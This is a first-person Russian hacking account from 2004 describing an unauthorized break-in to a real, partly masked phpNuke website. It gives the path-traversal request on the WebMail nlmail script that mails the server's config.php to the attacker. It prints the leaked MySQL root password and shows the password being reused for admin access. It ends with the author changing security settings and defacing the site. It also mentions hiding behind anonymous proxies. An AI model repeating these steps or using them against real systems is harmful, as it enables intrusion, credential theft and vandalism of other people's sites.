без паники и всерьез
подробно о проекте
 |  |
Анализ криптографических сетевых...| главная | обзор | RSN | блог | библиотека | закон | бред | форум | dnet | о проекте |  |
|
одиночка 4пальца Опубликовано: dl, 03.03.04 04:14 Недавно я встретил довольно уже не новую статью по поводу уязвимостей в phpNuke, и меня эта тема заинтересовала. Как известно, функиональность phpNuke расширяется с помощью многочисленных модулей. Один из таких модулей, крайне противоречивый в плане безопасности, - WebMail. До одной неспокойной ночи я не был с ним знаком совершенно. Однако... По привычке набираю в http://google.com/ ключевые слова с WebMail, выискиваю сайты, где этот модуль не обсуждается, а используется. Для меня очевидно, что статья Foster и ~MOBY~ "Взлом phpNuke" прогремела слишком громко, чтобы её не услышали даже самые отсталые администраторы. Но мне был интересен сам принцип работы модульной системы управления сайтами. И вот, я нахожу жертву, первый встретившийся сервер, ха, и весьма любопытной направленности. Без промедления регистрируюсь у них на сайте, вхожу и начинаю изучать. Отмеченная в упомянутой выше статье уязвимость была связана с выполнением прикреплённых к письмам файлов в почтовом интерфейсе WebMail. Удивительно, но скрипт складывал все получаемые и отправляемые прикрепления в папку: http://www.*****.org/modules/WebMail/attachments/ То есть папка с прикреплениями была доступна через Web, причём позволяла выполнение в ней скриптов! Более того, не заменяла имена прикреплений на заранее неизвестные пользователю, а оставляла с теми именами, которые указывал пользователь при составлении письма! Однако, как я уже написал, администратор позаботился об устранении этой уязвимости. "В лоб" этот эксплоит не работал, поскольку функция прикрепления к письмам файлов была отключена, как было указано на сайте, для обеспечения безопасности. У меня не было сомнений, что, запретив эту функцию, сам скрипт существовал, ведь он является частью всего модуля WebMail, и администратор навряд ли стал бы уничтожать какие-то скрипты из этого пакета. Я попробовал вызвать скрипт прикрепления файла к письму напрямую: http://www.*****.org/modules.php?name=WebMail&file=mailattach
однако ничего не получилось. Скрипт, тем не менее, порадовал меня физическими путями, выдав следующие сообщения об ошибках: Warning: main(../../config.php): failed to open stream: No such file or directory in /home/gk2/public_html/modules/WebMail/mailattach.php on line 21 Warning: main(): Failed opening '../../config.php' for inclusion (include_path='.:/usr/local/lib/php') in /home/gk2/public_html/modules/WebMail/mailattach.php on line 21 Кстати, я не сказал о том, что ещё меня страшно порадовало в настройках этого сервера, http://www.*****.org/, - открытые логи. Правда, функционировали не все из них(папка оказалась открытой и я посмотрел дату изменения файлов), но был открыт cмешанный протокол: http://www.*****.org/logs/combined_log Благодаря ему мой скорбный труд был значительно облегчен. Все мои действия были видны. Кроме того, были видны запросы всех остальных пользователей, и всё это в реальном режиме времени. Совершая те или иные манипуляции, я изучал, как себя чувствует сервер. Поскольку Apache по умолчанию включает в отчёты код ошибки HTTP, я мог проконтролировать выполнение тех или иных скриптов. В связи с логами у меня в голове сверкнула мысль: в Apache 2 присутствует уязвимость. Если логи доступны для чтения, с помощью обыкновенного HTTP-запроса в их листинг можно внедрить код на PHP и он будет выполнен при просмотре этих логов! Сразу скажу, ничего у меня из этого не получилось. Присоединившись с помощью Internet Maniac к серверу и сделав "самодельный" запрос HTTP 1.1, я осознал, что Apache подловить мне не удастся, поскольку его версия была 1.3.хх. Вот такие вещи были в логах:
(Чтобы таким образом не засветиться, сам я использовал китайский прокси, который работал страшно медленно, зато он был High-Anonymous; такие раздобыть можно на http://atomintersoft.com/products/alive-proxy/proxy-list/.) Не буду описывать свои многочасовые блуждания по серверу. Опробовано было масса всего. Мне стало понятно, что, не зная устройство системы phpNuke, я ни к чему не приду. Поэтому я нашёл в интернете, где можно скачать сей пакет, а сам отправился читать отзывы пользователей... Пакет phpNuke 6.5 я скачал с: http://www.phpnuke.org/modules.php?name=Downloads Почему я решил, что мне потребуется именно эта версия? Дело в том, что на несколкьих сайтах, занимающихся пропагандой phpNuke зарубежом и в России, было помещено замечание, что в свежей версии пакета отсутствует модуль WebMail по понятным причинам. Некий американец на форуме http://nukecops.com/modules.php?name=Forums заметил, что в его phpNuke 6.5 модуль WebMail работает некачественно, что-то там у этого модуля не ладится, и я смекнул, в какой версии нужно его искать... Вообще, информации по WebMail было много. Начиная от малосодержательного http://bugs.nukecops.com/ и заканчивая отчётами сетевых журналов:
И вот, три мегабайта архива у меня на компьютере, и я углубляюсь в чтение. После изучения исходных текстов нахожу главный файл, файл с ключевыми паролями: config.php в корневой директории(мы уже видели его раньше, в сообщениях об ошибке выше). Нахожу увиденный при запросе на составление письма nlmail.php - скрипт, отправляющий почту. И тут начинается самое интересное! Больше всего меня потрясло вот это:
Означать эта строка могла, что скрипту передаётся путь к файлу, который необходимо прикрепить. Там же есть и проверка наличия файла, однако запуск http://www.*****.org/modules.php?name=WebMail&file=nlmail не обнаруживает никакой ошибки, как раз нет, "письмо было отправлено". Не выдумывая ничего оригинального, я просто начинаю догадываться:
СТОП! После сообщений об ошибке прикрепления файла к письму, получаю уведомление, что с отправкой всё в порядке. Теперь последний штришок - почта действительно должна куда-то приходить, поэтому указываю дополнительно свой подставной адрес: http://www.*****.org/modules.php?name=WebMail&file=nlmail&attachment=../../../config.php&to=rustlik@front.ru Ну и что же? Тут же получаю на почту config.php, из которого выбираю самое важное, относящееся к доступу к базе SQL, где лежат, в частности, логины и пароли администраторов сайта:
Напомню читателям, что пароли от SQL не шифруются никогда. Всё дело в специфики обращения к базе. Шифрование без восстановления тут не может быть применено, потому что необходимо пересылать пароль в открытом виде при авторизации. Другое дело - пароль от Mail.ru, там его можно лишь сменить, потому что... Я надеюсь, вы поняли, почему. Исходя из этой депеши, сооружаю скрипт доступа к MySQL со своего сервера вот так: /mysql.cgi?host=*****.org&user=root&password=thom2632&db=gk_nuke&table=gk_authors Результат следующий:
armourGod,http://www.*****.org,
Поначалу я огорчился, что в системе phpNuke пароли шифруются MD5, однако этого следовало ожидать. И в статье Foster и ~MOBY~ об этом было. Когда они пишут о смене всех паролей в системе, фигурирует такая строка: sql_query("UPDATE ${prefix}_authors SET pwd=MD5('gipshack')", $dbi); Поэтому из результата запроса к SQL для меня самым важным является информация о логинах. Интуитивно понимаю, что постфикс -God говорит о привилегиях, которыми наделяется пользователь, а логины, соответственно, admin и armour. Чтобы не лукавить, скажу, что в самом начале своего путешествия по этому серверу в логах, вместе со своими, я встречал в логах этого armour, и только в этот момент понял, с кем я находился бок о бок. Но есть такая привычка человека, ставшая избитой темой для ширпотребных хакерских описаний. Человеческая привычка. Опять же, у меня не было никаких сомнений, что столь сложная конструкция, пароль thom2632, используемый для доступа к SQL, не является уникальным в этой системе. Он мог подходить и для управления сайтом по FTP(логин root?), и для администрирования системой phpNuke. Я не ошибся. В систему администрирования
я попал со следующими аутентификационными данными:
Дальше - дело техники. Я не сразу сообразил, что мне делать с сайтом и чем заняться далее. Включаю возможность прикрепления файлов к письмам. Меняю настройки языков, устанавливая основным - русский. Политику защиты кардинально меняю, позволяя пользователям делать максимум возможного в phpNuke. Меняю внешний вид сайта, делаю соответствующие размашистые надписи. Собственно, основная цель взлома - изучение чужой системы, самое обыкновенное любопытство... Что можно было ещё сделать? Да всё, что угодно. Начиная с пробивания паролей к FTP, через уже разрешённые прикрепления к письмам закачивания эксплоита(см. неоднократно упомянутую статью), заканчивая массовой рассылкой злорадствующего содержания и развешиванией портрета президента Bush Jr. Но сон меня сломил, и я не стал больше ничего делать с несчастным сайтом.
|
 |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
| ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
|
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
|
|
|
